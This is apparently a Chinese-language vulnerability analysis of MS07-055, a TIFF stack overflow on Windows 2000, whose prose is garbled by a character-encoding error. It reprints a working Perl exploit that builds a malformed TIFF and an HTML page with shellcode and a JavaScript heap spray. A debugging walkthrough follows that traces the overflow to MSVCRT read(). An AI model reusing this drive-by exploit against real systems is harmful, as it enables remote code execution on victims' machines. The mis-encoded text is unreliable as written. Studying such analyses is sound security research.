Ϊ֧³ÖÀÏ´ófailwestµÄÐÂÊ顶0day°²È«£ºÈí¼þ©¶´·ÖÎöÓëÀûÓ᷵ķ¢ÐУ¬ÏìÓ¦¿´Ñ©ÔÚ©¶´·ÖÎöÁìÓòµÄÐÛÆð£¬Ìع±Ïש¶´°¸Àýʵս·ÖÎöÎÄÕÂÈçÏÂ:
Microsoft TIFFͼÏñÎļþ´¦ÀíÕ»Òç³ö©¶´£¨MS07-055£©
ÕŶ«»Ô[shineast][http://hi.baidu.com/shineastdh]
©¶´±³¾°?? TIFF£¨TagImageFileformat£©ÊÇMacÖй㷺ʹÓõÄͼÏñ¸ñʽ£¬ËüÓÉAldusºÍ΢ÈíÁªºÏ¿ª·¢£¬×î³õÊdzöÓÚ¿çƽ̨´æ´¢É¨ÃèͼÏñµÄÐèÒª¶øÉè¼ÆµÄ¡£ËüµÄÌصãÊÇͼÏñ¸ñʽ¸´ÔÓ¡¢´æÖüÐÅÏ¢¶à¡£ÕýÒòΪËü´æ´¢µÄͼÏñϸ΢²ã´ÎµÄÐÅÏ¢·Ç³£¶à£¬Í¼ÏñµÄÖÊÁ¿Ò²µÃÒÔÌá¸ß£¬¹Ê¶ø·Ç³£ÓÐÀûÓÚÔ¸åµÄ¸´ÖÆ¡£¸Ã¸ñʽÓÐѹËõºÍ·ÇѹËõ¶þÖÖÐÎʽ£¬ÆäÖÐѹËõ¿É²ÉÓÃLZWÎÞËðѹËõ·½°¸´æ´¢¡£²»¹ý£¬ÓÉÓÚTIFF¸ñʽ½á¹¹½ÏΪ¸´ÔÓ£¬¼æÈÝÐԽϲÒò´ËÓÐʱÄãµÄÈí¼þ¿ÉÄܲ»ÄÜÕýȷʶ±ðTIFFÎļþ£¨ÏÖÔÚ¾ø´ó²¿·ÖÈí¼þ¶¼Òѽâ¾öÁËÕâ¸öÎÊÌ⣩¡£Ä¿Ç°ÔÚMacºÍPC»úÉÏÒÆÖ²TIFFÎļþҲʮ·Ö±ã½Ý£¬Òò¶øTIFFÏÖÔÚÒ²ÊÇ΢»úÉÏʹÓÃ×î¹ã·ºµÄͼÏñÎļþ¸ñʽ֮һ¡£
2007Äê10ÔÂ9ÈÕ£¬Î¢ÈíµÄÍøÕ¾ÉϹ«Ê¾ÁË¡°Microsoft °²È«¹«¸æ MS07-055 - ÑÏÖØ Kodak ͼÏñ²é¿´Æ÷ÖеÄ©¶´¿ÉÄÜÔÊÐíÔ¶³ÌÖ´ÐдúÂë (923810)¡±Õâ¸ö°²È«¹«¸æ£¬²¢ÌṩÁ˸鶴µÄ²¹¶¡³ÌÐò¡£´Ë©¶´½ö´æÔÚÓÚÔËÐÐ Windows 2000 µÄϵͳÉÏ¡£µ«ÊÇ£¬Èç¹ûÊÇ´Ó Windows 2000 Éý¼¶µÄ£¬ÔËÐÐÊÜÖ§³Ö°æ±¾µÄ Windows XP ºÍ Windows Server 2003 Ò²¿ÉÄÜÊÜÓ°Ïì¡£10ÔÂ29ÈÕºÍ11ÔÂ11ÈÕ£¬milw0rmÉϹ«²¼ÁËÀûÓÃÕâ¸ö©¶´µÄÁ½¸ö³ÌÐò£¬Ò»¸öÊÇÀûÓÃexplorerÒç³öµÄ£»ÁíÒ»¸öÊÇÀûÓÃIEÒç³öµÄ£¬¿ÉÒÔ×öÍøÂçľÂí¡£Í¬Ê±ÂÌÃ˵ÄÍøÕ¾ÉÏÒ²·¢²¼Á˽ô¼±Í¨¸æ¡ª¡ª¡°ÂÌÃ˿Ƽ¼½ô¼±Í¨¸æ(Alert2007-10)¡±¡£¹¥»÷Õß¿ÉÒÔͨ¹ý¹¹½¨ÌØÖÆͼÏñÀ´ÀûÓôË©¶´£¬Èç¹ûÓû§·ÃÎÊÍøÕ¾¡¢²é¿´ÌØÖƵç×ÓÓʼþ»òÕß´ò¿ªµç×ÓÓʼþ¸½¼þ£¬¸Ã©¶´¿ÉÄÜÔÊÐíÔ¶³ÌÖ´ÐÐÖ¸Áî¡£³É¹¦ÀûÓôË©¶´µÄ¹¥»÷Õß¿ÉÒÔÍêÈ«¿ØÖÆÊÜÓ°ÏìµÄϵͳ¡£Ó¦¸Ã˵Õâ¸ö©¶´µÄΣº¦ÐÔ»¹ÊǺܴóµÄ£¬ÊôÓÚ¡°ÑÏÖØ¡±¡¢¡°½ô¼±¡±¼¶±ðµÄ©¶´¡£
ÁíÍ⣬ͬһʱ¼ä£¬³ýÁËMS07-055£¬Î¢Èí»¹¹«²¼ÁËMS07-056µ½MS07-060¡£ÕâЩ°²È«¹«¸æ·Ö±ðÃèÊöÁË8¸ö°²È«ÎÊÌ⣬·Ö±ðÊÇÓйظ÷°æ±¾µÄMicrosoft Windows¡¢IE¡¢Outlook ExpressºÍWindows MailºÍSharePointµÈ²úÆ·ºÍ·þÎñÖеÄ©¶´¡£
©¶´ÖØÏÖÓ멶´·ÖÎö
Òª·ÖÎöÕâ¸ö©¶´£¬Ò»¶¨ÒªÄܹ»ÖØÏÖÕâ¸ö©¶´£¬È»ºóͨ¹ý¸ú×ٺ͵÷ÊÔÀ´·ÖÎöËü¡£Èç¹ûÄãµÄWindowsXPϵͳ²»ÊÇ´ÓWindows2000Éý¼¶¹ýÀ´µÄ£¬×îºÃÏÈ°²×°Ò»¸öÐéÄâ»ú£¬ÐéÄâÒ»¸öWin2K²Ù×÷ϵͳ£¬È»ºóÔÚÕâ¸öϵͳÏÂ×ö©¶´ÖØÏÖ¡£ÎÒÔÚVMwareÖа²×°µÄÊÇWin2K SP3£¬µ±È»SP4Ò²¿ÉÒÔ£¬Ö»ÒªÊÇ2Kϵͳ¶¼¿ÉÒÔ£¬ÒòΪÕâ¸ö©¶´ÊÇгöµÄ¡£Èç¹ûÄãµÄ2KϵͳÒѾ¶ÔÕâ¸ö©¶´£¨MS07-055£©´òÁË©¶´²¹¶¡£¨KB923810£©£¬Äã¿ÉÒÔÏÈ°Ñ©¶´²¹¶¡ÔÚ¡°Ìí¼Óɾ³ý³ÌÐò¡±ÖÐжÔصô£¬×öÍêʵÑéºó¿ÉÒÔÔÚ°²×°ÉÏ¡£ÁíÍ⻹Ҫ°²×°Ò»ÏÂActivePerl£¬ÓÃÀ´ÔËÐÐperl³ÌÐò´úÂë¡£°ÑÕâЩ׼±¸¹¤×÷×öºÃºó£¬ÎÒÃǾͿÉÒÔ¿ªÊ¼Â©¶´ÖØÏÖÁË¡£
Milw0rmÉϹØÓÚÕâ¸ö©¶´¹«²¼ÁË2¸öexploit£¬ÎÒ·ÖÎöÁËһϣ¬ÕâÁ½¸öexploitÀûÓõÄ©¶´ÊÇͬһ¸ö£¬¾ÍÊÇÎÒÃÇÏÖÔÚÒª·ÖÎöµÄtiffÎļþ¸ñʽ´¦Àí©¶´£¬µ«ÊÇËüÃǵÄÀûÓ÷½Ê½²»Í¬£¬Ò»¸öÊÇÖ±½ÓÔÚexplorerϾÍÒç³ö£¬Ò²¾ÍÊÇ˵µ±ÄãÓÃexplorer´ò¿ªÁË»ûÐÎtiffÎļþËùÔÚµÄĿ¼ʱ£¬Â©¶´¾ÍÒѾʹexplorerÒç³öÁË£»ÁíÒ»¸öÊÇ¿ÉÒÔÓÃÀ´×öÍøÂçľÂí£¬Ò²¾ÍÊÇ˵£¬µ±Äã´ò¿ªÁËÔ¶³Ìweb·þÎñÆ÷ÉϵÄij¸öÍøҳʱ£¬¶øÍøҳǡºÃ´ò¿ªÁËÄǸö»ûÐÎtiffÎļþ£¬ÄǸö¾Í»áÔÚÄã±¾µØ·¢ÉúIEÕ»Òç³ö£¬´Ó¶øÖ´ÐÐÈÎÒâ´úÂ룬¼´shellocde¡£
ÄÇôÎÒÕâÀï½öͨ¹ý×îеÄÍøҳľÂí·½Ê½µÄexploitÀ´·ÖÎöÕâ¸ö©¶´£¬×îÖÕÈôó¼Ò¿´µ½Õâ¸ö©¶´·¢ÉúµÄ¸ù±¾ÔÒò¡£ÏÂÃæÎÒÃÇÊ×ÏÈÀ´¿´¿´Õâ¸öexploitÊÇÈçºÎд³ÉµÄ£º
#!/usr/bin/perl
# Microsoft Internet Explorer TIF/TIFF Code Execution (MS07-055)
# This exploit tested on:
# - Windows 2000 SP4 + IE5.01
# - Windows 2000 SP4 + IE5.5
# - Windows 2000 SP4 + IE6.0 SP1
# invokes calc.exe if successful
use strict;
# run calc.exe
my $shellcode =
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b".
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99".
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04".
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb".
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30".
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09".
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8".
"\x83\xc0\x7b\x50\x68\x7e\xd8\xe2\x73\x68\x98\xfe\x8a\x0e\x57\xff".
"\xe7\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
my $tiff1 =
"\x49\x49\x2A\x00\x90\x3E\x00\x00\x80\x3F\xE0\x50".
"\x38\x24\x16\x0D\x07\x84\x42\x61\x50\xB8\x64\x36".
"\x1D\x0F\x88\x44\x62\x51\x38\xA4\x56\x2D\x17\x8C".
"\x46\x63\x51\xB8\xE4\x76\x3D\x1F\x90\x48\x64\x52".
"\x39\x24\x96\x4D\x27\x94\x4A\x65\x52\xB9\x64\xB6".
¡£¡£¡£(ÂÔ)¡£¡£¡£
"\x56\xAD\x57\x86\x40\x40\x60\x00\x00\x00\x01\x00".
"\x00\x00\x60\x00\x00\x00\x01\x00\x00\x00\x08\x00".
"\x08\x00\x08\x00\xAE\x00\x00\x00\xAE\x00\x00\x00".
"\xAE\x00\x00\x00\xAE\x00\x00\x00\xAE\x00\x00\x00".
"\xAE\x00\x00\x00\xB4\x00\x00\x00\xBA\x00\x00\x00".
"\xBA\x00\x03\x00\xCA\x00\x00\x00\xDB\x00\x00\x00".
"\xD7\x00\x00\x00\xD6\x00";
my $eip = "\x0c\x0c\x0c\x0c";
my $data_0400 = "\x08\x00\x40\x00";
my $data_null = "\x11\x00\x40\x00";
my $tiff2 =
"\x00\x00\xB9\x90\x90\x90\x90\x90\xFC\xE8".
"\x44\x00\x00\x00\x8B\x45\x3C\x8B\x7C\x05\x78\x01".
"\xEF\x8B\x4F\x18\x8B\x5F\x20\x01\xEB\x49\x8B\x34".
"\x8B\x01\xEE\x31\xC0\x99\xAC\x84\xC0\x74\x07\xC1".
"\xCA\x0D\x01\xC2\xEB\xF4\x3B\x54\x24\x04\x75\xE5".
¡£¡£¡£(ÂÔ)¡£¡£¡£
"\xB6\x3A\x00\x00\x64\x3B\x00\x00\x0F\x00\xFE\x00".
"\x04\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01".
"\x03\x00\x01\x00\x00\x00\x80\x02\x00\x00\x01\x01".
"\x03\x00\x01\x00\x00\x00\x00\x02\x00\x00\x02\x01".
"\x03\x00\xFF\x00\x00\x00\xDA\x3B\x00\x00\x03\x01".
"\x03\x00\x01\x00\x00\x00\x05\x00\x00\x00\x06\x01".
"\x03\x00\x01\x00\x00\x00\x02\x00\x00\x00\x11\x01".
"\x04\x00\x56\x00\x00\x00\x38\x3D\x00\x00\x15\x01".
"\x03\x00\x01\x00\x00\x00\x03\x00\x00\x00\x16\x01".
"\x04\x00\x01\x00\x00\x00\x06\x00\x00\x00\x17\x01".
"\x04\x00\x56\x00\x00\x00\xE0\x3B\x00\x00\x1A\x01".
"\x05\x00\x01\x00\x00\x00\xCA\x3B\x00\x00\x1B\x01".
"\x05\x00\x01\x00\x00\x00\xD2\x3B\x00\x00\x1C\x01".
"\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x28\x01".
"\x03\x00\x01\x00\x00\x00\x02\x00\x00\x00\x3D\x01".
"\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00".
"\x00\x00";
# convert shellcode for javascript
if ((length($shellcode) / 2) =~ /\./) {
$shellcode .= "\x00";
}
$shellcode =~ s/(.)(.)/'%u'.unpack("H*", $2).unpack("H*", $1)/ge;
# write tiff file
open(FILE, ">ms07-055.tif");
binmode(FILE);
print FILE $tiff1;
print FILE $eip;
print FILE $data_0400;
print FILE $data_0400;
print FILE $data_0400;
print FILE $data_null;
print FILE $tiff2;
close(FILE);
# write html file
open(FILE, ">ms07-055.html");
print FILE <<HTML;
<html><head>
<title>Microsoft Internet Explorer TIF/TIFF Code Execution (MS07-055)</title>
<script language="JavaScript">
<!-- var memory = new Array();
function getSpraySlide(spraySlide, spraySlideSize){
while (spraySlide.length*2<spraySlideSize){
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
function makeSlide(){
var heapSprayToAddress = 0x0c0c0c0c;
var payLoadCode = unescape("$shellcode");
var heapBlockSize = 0x400000;
var payLoadSize = payLoadCode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0c0c%u0c0c");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
for (i=0;i<heapBlocks;i++) {
memory[i] = spraySlide + payLoadCode;
}
return 0;
}
makeSlide();//-->
</script>
</head>
<body><img src="ms07-055.tif"></body></html>
HTML
close(FILE); ¿´ÁËÕâ¶Îperl³ÌÐò£¬´ó¸ÅÖªµÀÊÇÔõô»ØÊÂÁË£¬Æäʵ¾ÍÊÇÓÃÕâ¶Îperl³ÌÐòдÁËÁ½¸öÎļþ£¬Ò»¸öÊÇÌØÖƵġ¢»ûÐεÄtiffÎļþ£¬ÃüÃûΪ¡°ms07-055.tif¡±£»ÁíÒ»¸öÊÇHTMLÎļþ£¬×ÔÈ»¾ÍÊÇÍøÂíÁË¡£ÆäÖÐHTMLÎļþºÜÃ÷°×£¬Õâ¸öÍøÒ³ÓÃÀ´´ò¿ªÇ°ÃæÄǸötiffÎļþ£¬´ò¿ªÖ®Ç°»¹ÔÚ0c0c0c0cÄÚ´æµØÖ·¸½½üÇëÇóÁËÁ¬ÐøµÄÈô¸ÉÄÚ´æ¿é£¬Ã¿¸öÄÚ´æ¿éÖдæ·ÅµÄÊÇһƬƬ0c0c0c0cÖ¸Á×îºó¸ú×ŵÄÊÇshellcode¡£0c0c0c0cÖ¸ÁîûÓÐʲôÌØÊâÄ¿µÄ£¬¾ÍÏñnopÖ¸ÁîÒ»Ñù¡£Èç´ËÒÔÀ´Ò»µ©³ÌÐò±»Òç³öÌøµ½0c0c0c0cµØÖ·¼´¿É£¬¾Í¿ÉÒÔÖ´ÐÐÎÒÃÇÔ¤ÆÚµÄshellcodeÁË¡£¡ª¡ªÕâ¸öÂß¼Ó¦¸ÃºÜÇå³þÁË£¬ËµµÄרҵһµã¾ÍÊÇHeap Spray¼¼Êõ¡£
Àí½âÁËÈçºÎÀûÓã¬ÏÖÔÚÎÒÃǵĹؼü¾ÍÊÇÐèÒªÕÆÎÕһЩtiffͼÏñÎļþ¸ñʽ¹æ·¶£¬²»ÐèÒªºÜרҵµÄÕÆÎÕ£¬Ö»Òª¶ÔÕâÖÖÎļþ¸ñʽµÄ»ù´¡ÖªÊ¶ÓÐËùÁ˽â¾Í×ã¹»ÎÒÃÇ·ÖÎö©¶´ÁË¡£ÏÂÃæÎÒÀ´ÃèÊöÒ»ÏÂÎļþµÄ»ù±¾¹æ·¶£¬¿¼Âǵ½¿´Ó¢ÎıȽÏÄÑÊܵÄÅóÓÑ£¬ÎÒÌØÒâ·ÒëÁËÒ»°Ñ£¬Ï£Íû¶Ô´ó¼ÒÓÐËù°ïÖú¡£ÐèÒªÓ¢ÎÄÔÎĵÄÅóÓÑÒ²¿ÉÒÔ´Ó±¾ÎĵĹâÅÌÏà¹ØÖеõ½¡£
Ò»¸öÍêÕûµÄtiffÎļþÊ×ÏÈÓÐ8×Ö½ÚµÄÍ·²¿£¨header£©£¬Í·²¿Öк¬ÓÐÒ»¸öÖ¸ÕëÖ¸ÏòÒ»¸öͼÏñÎļþĿ¼£¬¼ò³ÆIFD£¨image file directory£©£¬Ã¿¸öIFD°üº¬ÁËÖØÒªµÄͼÏñÐÅÏ¢£¬ÕâЩÐÅÏ¢ÊÇÒ»ÌõÒ»ÌõµÄ´æ´¢ÔÚIFDÖеģ¬³ÆΪĿ¼ÌõÄ¿£¬¼ò³ÆDE£¨directory entry£©¡£¾ßÌåµÄ˵£¬¿ÉÒÔÓÃÏÂÃæÕâ¸öͼʾÀ´ËµÃ÷ËûÃÇÖ®¼äµÄÂß¼¹Øϵ¡£
Êײ¿Header
×Ö½Ú0-1£º×Ö½ÚÐò
¡°II¡±£¨4949.H£©¡ª¡ªÐ¡Ó¡µÚ°²£¬µÍ×Ö½Ú´æ´¢ÔÚÄÚ´æµÄµÍµØÖ·
¡°MM¡±£¨4D4D.H£©¡ª¡ª´óÓ¡µÚ°²£¬µÍ×Ö½Ú´æ´¢ÔÚÄÚ´æµÄ¸ßµØÖ·
×Ö½Ú2-3£ºTIFFÎļþ±êʶ
×îºÃÑ¡ÓÃ42(Ê®½øÖÆ)£¬Í¬Ê±Òª¿´Ç°ÃæµÄ×Ö½ÚÐò£¬Èç¹ûÊÇСӡµÚ°²£¬ÕâÀï¾Íд2A00.H£»·ñÔòд002A.H
×Ö½Ú4-7£ºµÚÒ»¸öͼÏñÎļþĿ¼£¨IFD£©ÔÚÎļþÖеÄÆ«ÒÆÁ¿£¨offset£©
ͼÏñÎļþĿ¼£¨IFD£©
ÿһ¸öͼÏñÎļþĿ¼£¨IFD£©ÖÐÊ×ÏÈÓÐÁ½¸ö×Ö½Ú±íʾĿ¼ÌõÄ¿£¨DE£©µÄ¸öÊý£¬½Ó×ŵÄÁ¬ÐøµÄÿ12¸ö×Ö½ÚÊÇÒ»¸öĿ¼ÌõÄ¿£¬Ã¿¸öIFD×îºó4¸ö×Ö½Ú±íʾµÄÊÇÏÂÒ»¸öIFDµÄÆ«ÒÆÁ¿£¬Èç¹ûûÓкó¼ÌIFDµÄ»°ÓÃÒ»¸ö4×Ö½ÚÊý×Ö0À´½áβ¡£
Ŀ¼ÌõÄ¿£¨DE£©
ÿһ¸ö12×Ö½ÚµÄDEÓµÓÐͬÑùµÄ½á¹¹£º
×Ö½Ú0-1£º±¾ÓòµÄ±ê¼Ç£¨Tag£©
×Ö½Ú2-3£º±¾ÓòÀàÐÍ£¨Type£©
×Ö½Ú4-7£ºÖµµÄ¸öÊý
×Ö½Ú8-11£º¾ßÌåµÄÖµ£¬»òÕßÊÇÒ»´®¶à¸öÖµ´æ´¢ÓÚÎļþµÄÆ«ÒÆÁ¿
ÆäÖÐÀàÐÍÓжàÖÖ£¬×î³£¼ûµÄÓÐһϼ¸ÖÖ£º
1=BYTE 8λÎÞ·ûºÅÕûÊý
2=ASCII 8룬ÆäÖÐÇ°7λ±íʾһ¸öASCIIÂ룻×îºóһλ±ØÐëÊÇNUL£¨¶þ½øÖƵÄ0£©
3=SHORT 16λÎÞ·ûºÅÕûÊý
4=LONG 32λÎÞ·ûºÅÕûÊý
5=RATIONAL Á½¸öLONG£¬µÚÒ»¸ö±íʾ·Ö×Ó£»µÚ¶þ¸ö±íʾ·Öĸ
ÓÐÁËÒÔÉϵĻù±¾Îļþ¸ñʽ¹æ·¶ÖªÊ¶ºó£¬ÎÒÃǾͿÉÒÔ¿ªÊ¼Ñо¿ÉÏÃæperl´úÂëÉú³ÉµÄms07-055.tifÎļþÁË¡£Ê×ÏÈÎÒÃÇÀ´¿´¿´ÎļþÍ·²¿µÄ8¸ö×Ö½Ú£¬ÈçÏ£º
00000000h: 49 49 2A 00 90 3E 00 00 80 3F E0 50 38 24 16 0D ; II*.?..€?àP8$..
¸ù¾ÝÉÏÃæµÄ֪ʶºÜÈÝÒ×ÖªµÀÆäÖеĺ¬Ò壬49 49±íʾСӡµÚ°²×Ö½ÚÐò£»2A 00ÊÇTIFFÎļþÎļþ±êʶ£»90 3E 00 00±íʾ¸ÃÎļþµÄµÚÒ»¸öIFDÔÚÎļþµÄ00003E90Æ«ÒÆÁ¿´¦¡£
ÄÇôÎÒÃÇÏÂÒ»²½ºÜ×ÔÈ»µÄÈ¥00003E90Æ«ÒÆÁ¿´¦È¥½âÎöµÚÒ»¸öIFD£¬¿É¼û¸ÃÎļþÖÐÖ»ÓÐÕâÑùÒ»¸öIFD¡£
00003e90h: 0F 00 FE 00 04 00 01 00 00 00 00 00 00 00 00 01 ; ..?............
00003ea0h: 03 00 01 00 00 00 80 02 00 00 01 01 03 00 01 00 ; ......€.........
00003eb0h: 00 00 00 02 00 00 02 01 03 00 FF 00 00 00 DA 3B ; ..........ÿ...?
00003ec0h: 00 00 03 01 03 00 01 00 00 00 05 00 00 00 06 01 ; ................
00003ed0h: 03 00 01 00 00 00 02 00 00 00 11 01 04 00 56 00 ; ..............V.
00003ee0h: 00 00 38 3D 00 00 15 01 03 00 01 00 00 00 03 00 ; ..8=............
00003ef0h: 00 00 16 01 04 00 01 00 00 00 06 00 00 00 17 01 ; ................
00003f00h: 04 00 56 00 00 00 E0 3B 00 00 1A 01 05 00 01 00 ; ..V...?........
00003f10h: 00 00 CA 3B 00 00 1B 01 05 00 01 00 00 00 D2 3B ; ..?..........?
00003f20h: 00 00 1C 01 03 00 01 00 00 00 01 00 00 00 28 01 ; ..............(.
00003f30h: 03 00 01 00 00 00 02 00 00 00 3D 01 03 00 01 00 ; ..........=.....
00003f40h: 00 00 01 00 00 00 0 0 00 00 00 ; ..........
ÆäÖдóÍ·µÄ0F 00±íʾÕâ¸öIFDÖÐÓÐ15¸öDE£¬Ã¿¸öDEº¬ÓÐ12¸ö×Ö½Ú£¬ÎÒÔÚÉÏÃæ°ÑËûÃǸô¿ªÁË¡£ÎªÁËÈôó¼Ò¶ÔÕâ¸ö15¸öDEÓиüÇå³þµÄÁ˽⣬ÎÒ°ÑËûÃÇ°´ÕÕº¬ÒåÁгÉÒ»¸ö±í£¬ÈçÏÂËùʾ£º
ÐòºÅ ±ê¼ÇTag ÀàÐÍType Öµ¸öÊýCount Öµ»ñÆ«ÒÆÁ¿Value/Offset
0 00FE 0004 0000 0001 0000 0000
1 0100 0003 0000 0001 0000 0280
2 0101 0003 0000 0001 0000 0200
3 0102 0003 0000 00FF 0000 3BDA
4 0103 0003 0000 0001 0000 0005
5 0106 0003 0000 0001 0000 0002
6 0111 0004 0000 0056 0000 3D38
7 0115 0003 0000 0001 0000 0003
8 0116 0004 0000 0001 0000 0006
9 0117 0004 0000 0056 0000 3BE0
10 011A 0005 0000 0001 0000 3BCA
11 011B 0005 0000 0001 0000 3BD2
12 011C 0003 0000 0001 0000 0001
13 0128 0003 0000 0001 0000 0002
14 013D 0003 0000 0001 0000 0001
ÔÚÕâ15¸öDEÖУ¬×îÖµµÃ¹Ø×¢µÄÊǵÚ4¸ö£¬Ò²¾ÍÊÇÉÏÃæÓúڵ×ÂÌ×Ö±ê³öµÄÒ»ÐУ¬Õâ¸öDE¸æËßÎÒÃÇ£¬ËüµÄÊýÖµ¸öÊýÓÐ0000 00FF¸ö£¬Ò²¾ÍÊÇ255¸ö£»ÊýÖµÀàÐ;ùÊÇSHORT£¨0003£©£¬16λ£¬Õ¼Á½¸ö×Ö½Ú£»Õâ255¸öÊýÖµÔÚÎļþÖеÄÆ«ÒÆÁ¿ÊÇ0000 3BDA¡£ÒÔÎÒµÄÖ±¾õÀ´¿´£¬ÎÒÈÏΪÕâ255¸öÊýÖµ¾ÍÊÇ×îºóÔì³ÉÕ»Òç³öµÄÖ±½ÓÐ×ÊÖ£¬¿ÉÄܾÍÊÇÔÚ³ÌÐòÖд¦ÀíÕâ255¸öÊýֵʱ£¬¾Õâ¸öÊýÖµ¶ÁÈëijº¯ÊýµÄ¾Ö²¿±äÁ¿(¿ÉÄÜÊǸöÊý×é)ʱ£¬ÓÉÓÚ¿ª±ÙµÄÊý×éÔªËØÊýÓÐÏÞ£¬¶øÇÒûÓбȽÏ255Õâ¸öÊýºÍ¿ª±ÙµÄÊý×éÔªËظöÊýµÄ´óС¹Øϵ£¬¾Í¿ªÊ¼¶ÁÈ룬×îÖÕµ¼ÖÂÁË»º³åÇøÒç³öµÄ·¢Éú¡£¡ª¡ªÕâÒ²Ö»ÊÇÎҵĺÏÀíÔ¤²âºÍ²ÂÏ룬µ½µ×ÊDz»ÊÇÈçÎÒËù˵£¬ÐèÒª¸ú×Ùµ÷ÊÔ²ÅÄÜÖ¤Ã÷¡£ÏÂÃæÎÒÃǾÍÓÃOllyDBGÀ´µ÷ÊÔÒ»°Ñ¡£
ÓÉÓÚ³ÌÐò¿ØÖƵÄEIP×îÖÕΪ0c0c0c0c£¬Èç¹û²»ÐÞ¸ÄһϵĻ°£¬¸ú×Ùµ÷ÊÔµÄʱºò£¬µ÷ÊÔÆ÷ÊDz»»áÍ£ÏÂÀ´µÄ£¬ÄÇôºÜ¼òµ¥£¬Ö±½Ó°Ñ0c0c0c0c¸ÄΪFFFFFFFF¼´¿É£¬ÕâÑùµ÷ÊÔÆ÷»á·¢ÏÖ³ÌÐòÔÚÖ´ÐзǷ¨ÄÚ´æµØÖ·µÄÖ¸Á¾Í»áÍ£ÏÂÀ´¡£Í£ÏÂÀ´ºó£¬Äã¿ÉÒÔÈ¥¼ì²éÕ»ÖеÄÖëË¿Âí¼£¡£¸ù¾Ýº¯Êýµ÷ÓõÄÔÀí£¬ÎÒÃÇ¿ÉÒÔÖªµÀ¸²¸ÇEIPΪFFFFFFFFÇ°Ö´ÐеÄÖ¸ÁîÓ¦¸ÃÊÇRETÖ¸ÁÔÚÕâ¸öÖ¸ÁîÖ´ÐÐÇ°Ò»¶¨ÓÐÒ»¸öº¯Êý±»µ÷Ó㬶øÕâ¸öº¯ÊýÒ²ºÜÓпÉÄܾÍÊÇ×îÖÕ·¢ÉúÒç³öµÄº¯Êý£¬ÄÇôÔÚESPÖ¸ÏòµÄÕ»¿Õ¼äµÄÉϲ¿Ò»¶¨ÓÐһЩ·µ»ØµØÖ·£¬ÄÇôÎÒÃÇ¿ÉÒ԰Ѽ¸¸ö¿ÉÒԵķµ»ØµØÖ·¼ÇÏÂÀ´£¬È»ºóÔÚÏÂÒ»´Î³ÌÐò¼ÓÔØÁËÕâ¸öµØÖ·ËùÊôµÄdllÎļþ»òexeÎļþʱÀ¹½Ø£¬²¢°Ñ¶Ïµãϵ½¸Õ²Å¼Ç¼ÏÂÀ´µÄµØÖ·½ôÁÚµÄÇ°Ò»ÌõÖ¸Áî´¦£¬ÄÇôһµ©¶ÏÏÂÀ´£¬ÓÐÁ½ÖÖ¾³¿ö£¬µÚÒ»ÖÖÇé¿öÊÇ£¬Õ»»¹Î´±»¸²¸Ç£¬ËµÃ÷Òç³ö»¹Ã»Óз¢Éú£¬ÄÇôֻҪµ¥²½¸ú×Ù×Ðϸµ÷ÊÔ£¬¾Í¿ÉÒÔ¸úµ½·¢ÉúÒç³öµÄÄÇÐдúÂ룻µÚ¶þÖÖ¾³¿öÊÇ£¬Õ»ÒѾ±»¸²¸ÇÁË£¬ÄÇ˵Ã÷¼Ç¼ÏÂÀ´µÄ¼¸¸ö¿ÉÒɵØÖ·ÊDz»ÕýÈ·µÄ£¬¸ù±¾¾ÍûÓÐÔÚÕâЩº¯ÊýÄÚ²¿·¢ÉúÒç³ö£¬Õâ¾ÍÐèÒªÔڸղŷ¢ÉúÁËÒç³öºóµÄÕ»ÖмÌÐøÇ°ËÝ£¬Ò»¶¨»áÔÚÒç³ö֮ǰ¶ÏϳÌÐò£¬ÒòΪÎÞÂÛÈçºÎ³ÌÐòÔÚÒç³ö֮ǰһ¶¨µ÷Óùýij¸ö³ÌÐò¡£¶øÕâ¸ö³ÌÐòµÄ·µ»ØµØÖ·»á±£´æÔÚÕ»ÖС£
ÎÒÓÃÕâÖÖ°ì·¨£¬Ê×ÏÈ·¢ÏÖÁËÁ½¸ö¿ÉÒɵØÖ·£ºoieng400.dll ÎļþÖеÄ690B 3F71ºÍ690B 3163£¬×îºó·¢Ïֶϵ½690B 3163ʱ»¹ÉÐδ·¢ÉúÒç³ö£¬ÄÇôÎÒ¾ÍF7¸ú½øÈ¥£¬×îÖÕͨ¹ýµ¥²½µ÷ÊԵķ½·¨£¬ÖÕÓÚÕÒµ½ÁËÒç³ö·¢ÉúµÄº¯Êý¡£ÔÀ´ÊÇÔÚMSVCRT.dllϵÄread£¨£©º¯ÊýÖÐÒç³öµÄ¡£
Ϊʲô»áÔÚÕâ¸öread£¨£©º¯ÊýÖÐÒç³öÄØ£¿ÎÒÃÇÊ×ÏÈÀ´¿´¿´read£¨£©º¯ÊýµÄ¶¨Ò壺
_read()¶ÁÎļþº¯Êý
ÔÐΣºint _read(handle,buffer,count)
¡¡¡¡¡¡ int handle;//Îļþ¾ä±ú
¡¡¡¡¡¡ void *buffer;//´æ·Å¶Á³öÊý¾ÝµÄ»º³åÇø
¡¡¡¡¡¡ unsigned count;//Ò»´Î¶Á³öµÄ×Ö½ÚÊý
¹¦ÄÜ£º´ÓÓÉhandleÖ¸¶¨µÄÎļþÖжÁÈ¡ÓÉcountÖ¸¶¨×Ö½ÚÊýµÄÊý¾Ýµ½buffer
·µ»ØÖµ£º0-0xfffe(ʵ¼Ê¶Á³öµÄ×Ö½ÚÊý)£»-1(´íÎó)
